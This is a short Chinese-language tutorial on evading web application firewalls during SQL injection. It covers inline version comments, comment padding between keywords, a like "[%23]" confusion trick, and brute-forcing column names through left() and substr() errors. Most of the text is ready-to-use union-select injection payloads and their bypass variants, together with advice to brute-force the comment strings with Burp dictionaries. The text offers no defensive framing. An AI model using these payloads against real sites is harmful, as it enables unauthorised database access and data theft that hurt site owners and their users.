目录
一:内联注释
适用环境:某个函数被识别造成拦截后
格式:/*![五位数字版本号] [原函数]*/
实例:
原: -1 ' union select 1,database(),3 %23
情景一:union函数被识别,遭到WAF拦截,需过滤函数
防过滤:-1 ' /*!12345union*/ select 1,database(),3 %23
注意:其中的12345是版本号,并不一定是12345,但肯定是五位数字,所以通常都是使用burp批量跑五位数字的字典,最后成功bypass
二:魔法注释
适用环境:某个位置的空格或者带有括号的函数被识别引起过滤
格式:/*[特殊字符构成的字符串]*/
实例:
原: -1 ' union select 1,database(),3 %23
情景一:union和select之间的空格需要做防过滤
防过滤:-1 ' union/*--+*/select 1,database(),3 %23
情景二:database()函数被识别,需要过滤
放过滤: -1 ' union select 1,database/*//-*/(),3 %23
同样的道理,这里的/*和*/中间的特殊字符串也不是固定的,直接用特殊字符生成字典,再burp批量跑即可
三:like "[%23]"
这是目前比较新的一种过滤方式,也成为很多自写防护规则网站的突破口
格式 like "[%23]"
适用:这个倒是没有什么适用的环境,总之就是迷惑性很强,会将前面的内容识别为空,再将攻击语句放在后面即可,
实例
原: 1 ' union select 1,database(),3 %23
防过滤:1 like "[%23]" union select 1,database(),3 %23
四:截取函数报字段技巧(2022.11.26)
来看一段简单的命令
select * from users where id = 1 and left("abcd",1)='a'
这个命令都能理解吧,那我们将abcd的引号去掉再来看看,如下
嗯?为什么会提示没有abcd这个字段吗?它为什么会被识别成字段呢?别急,听我好好跟你讲讲
在目标对敏感字限制得很严但是又没过滤left函数时,就可以做一个字段名的字典,对目标的字段名进行批量爆破,没出现这个报错就是该字段存在,这也是一种很好用的方法
right()函数, substr()函数均可,原理也相同,应该还有很多其他的函数,只要参数涉及到字符串都可以,后期我会再整理一下